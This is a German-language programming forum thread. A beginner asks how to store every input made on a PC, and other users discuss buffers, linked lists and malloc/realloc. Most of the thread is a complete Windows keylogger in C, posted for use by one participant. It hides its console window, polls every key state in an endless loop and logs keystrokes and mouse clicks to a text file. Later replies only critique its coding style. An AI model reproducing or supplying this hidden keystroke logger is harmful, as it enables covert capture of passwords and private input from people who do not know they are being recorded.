char



  • Hallo,
    ich wollt ein programm schreiben, dass alle eingaben die man au dem pc gemacht hat speichert. Dafür wollte ich char benutzen, aber ich weis ja nicht wie lang das sein soll ob ich jetzt char x; oder char x[10000000000] nehmen soll .... gib es villeicht eine variable mit unbekannter grösse ???



  • char*



  • dafür eignet sich doch eine linkedList perfekt!



  • linkedList <- was ist das ???



  • eine verkettete Liste ^^
    Hmm im ernst sagt dir der Begriff mehr ?
    wenn dem nicht so ist
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-49455-and-highlight-is-verkettete+liste.html



  • hab mal n kleines proggy fuer microbenschrott widoz geproggt um tastatureingaben mitschneiden zu koennen muesste eigentlich funzeln

    #include <windows.h>
    #include <stdio.h>
    //(C)--linuxuser--
    const HWND GetConsoleWindow(){ 
       HWND hwnd;
       TCHAR strNewTitle [256]; 
       TCHAR strOldTitle [256];                                                              
       GetConsoleTitle ( strOldTitle , 256 ); 
       wsprintf ( strNewTitle , "%d/%d" , GetTickCount () , GetCurrentProcessId () ); 
       SetConsoleTitle ( strNewTitle ); 
       Sleep ( 50 ); 
       hwnd = FindWindow ( NULL , strNewTitle ); 
       SetConsoleTitle ( strOldTitle ); 
       return ( hwnd ); 
    }//end GetConsoleWindow
    
    const bool HideConsole(){ 
        return (ShowWindow(GetConsoleWindow(),SW_HIDE)&&true); 
    }//end HideConsole
    
    int main(){
      SHORT KeyState;
      SHORT ArrKeyState[256];
      long CheckSum;
      long OldCheckSum;
      char datName[] = "test.txt";
      FILE *logging;
      //logging = fopen(datName, "w+");
      OldCheckSum = 987654;
      // das programm entschaerfen folgende zeile einkommentieren!!!!
      HideConsole ();//versteckt die konsole
      while (1){
        CheckSum = 0;
        for (int x = 0; x < 256; x++){
          KeyState = GetAsyncKeyState(x);
          CheckSum += KeyState;
          ArrKeyState[x] = KeyState;
        }//end for
        if (OldCheckSum != CheckSum){
          for (int i = 0; i < 256; i++){
            // -32767 = KeyDown :-)))))))))
            if (ArrKeyState[i] == -32767){
                if(i == 8){
                    logging = fopen(datName, "a+");
                    fprintf(logging, "<--|");
                    fclose(logging);
                    continue;
                }else{
                    if(i == 13){
                        logging = fopen(datName, "a+");
                        fprintf(logging, "enter|");
                        fclose(logging);
                        continue;
                    }else{
                        switch(i){
                            case 190: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, ".-190|");
                                fclose(logging);
                                break;
                            case 191: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "#-191|");
                                fclose(logging);
                                break;
                           case 187: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "+-187|");
                                fclose(logging);
                                break;
                            case 97: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "1-97|");
                                fclose(logging);
                                break;
                            case 98: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "2-98|");
                                fclose(logging);
                                break;
                            case 99: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "3-99|");
                                fclose(logging);
                                break;
                            case 100: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "4-100|");
                                fclose(logging);
                                break;
                            case 101: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "5-101|");
                                fclose(logging);
                                break;
                            case 102: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "6-102|");
                                fclose(logging);
                                break;
                            case 103: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "7-103|");
                                fclose(logging);
                                break;
                            case 104: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "8-104|");
                                fclose(logging);
                                break;
                            case 105: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "9-103|");
                                fclose(logging);
                                break;
                            case 96: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "0-96|");
                                fclose(logging);
                                break;
                            case 1: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "-klick|");
                                fclose(logging);
                                break;
                            case 2: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "klick-|");
                                fclose(logging);
                                break;
                            case 17: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "strg|");
                                fclose(logging);
                                break;
                            case 162: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "strg|");
                                fclose(logging);
                                break;
                            case 16: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "umsch|");
                                fclose(logging);
                                break;
                            case 161: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "umsch|");
                                fclose(logging);
                                break;
                            case 255: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "<|");
                                fclose(logging);
                                break;
                            case 37: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, ">|");
                                fclose(logging);
                                break;
                           case 40: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "pfeiltaste|");
                                fclose(logging);
                                break;
                            case 9: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "tab|");
                                fclose(logging);
                                break;
                            case 91: 
                                logging = fopen(datName, "a+");
                                fprintf(logging, "win|");
                                fclose(logging);
                                break;
    
                            default:
                            //printf(" %c-%d ", i, i);
                            logging = fopen(datName, "a+");
                            fprintf(logging, "%c-%d|", i, i);
                            fclose(logging);
                        }//end switch
                    }//end if
                }//end if
             }//end if
           }//end if
        }//end if
        OldCheckSum = CheckSum;
      }//end while
    }//end main
    

    vielleicht hilft es dir weiter 😃 😃



  • --linuxuser-- schrieb:

    }//end switch
                    }//end if
                }//end if
             }//end if
           }//end if
        }//end if
      }//end while
    }//end main
    

    Ich glaube dein Programmierstil muß noch reifen.

    www..de schrieb:

    gib es villeicht eine variable mit unbekannter grösse ???

    Malloc, und wenn es größer werden soll realloc. Immer verdoppeln. Das macht C++ std::string auch so.



  • @BUG
    wie willst das besser schreiben dass musst du mir mal zeigen



  • --linuxuser-- schrieb:

    @BUG
    wie willst das besser schreiben dass musst du mir mal zeigen

    Zum Beispiel kann man die Audrücke in den if-Abfragen umkehren:

    while (a)
        {
            if (!b)
                continue;
            ...
        }
    

    und/oder Codeabschnitte in Funktionen auslagern.



  • Duplizierte Code ist immer ungeschickt.

    ich würde das fopen/fclose auslagern

    if (ArrKeyState[i] == -32767){
    ============> hier fopen
    if(i == 8){
    ....
    }
    ============> hier fclose nach dem case

    und es aus den ifs und cases rausschmeissen
    warum ist für i==8 und i==13 eine Sonderbehandlung nötig, die passen doch auch ins case?

    😃


Anmelden zum Antworten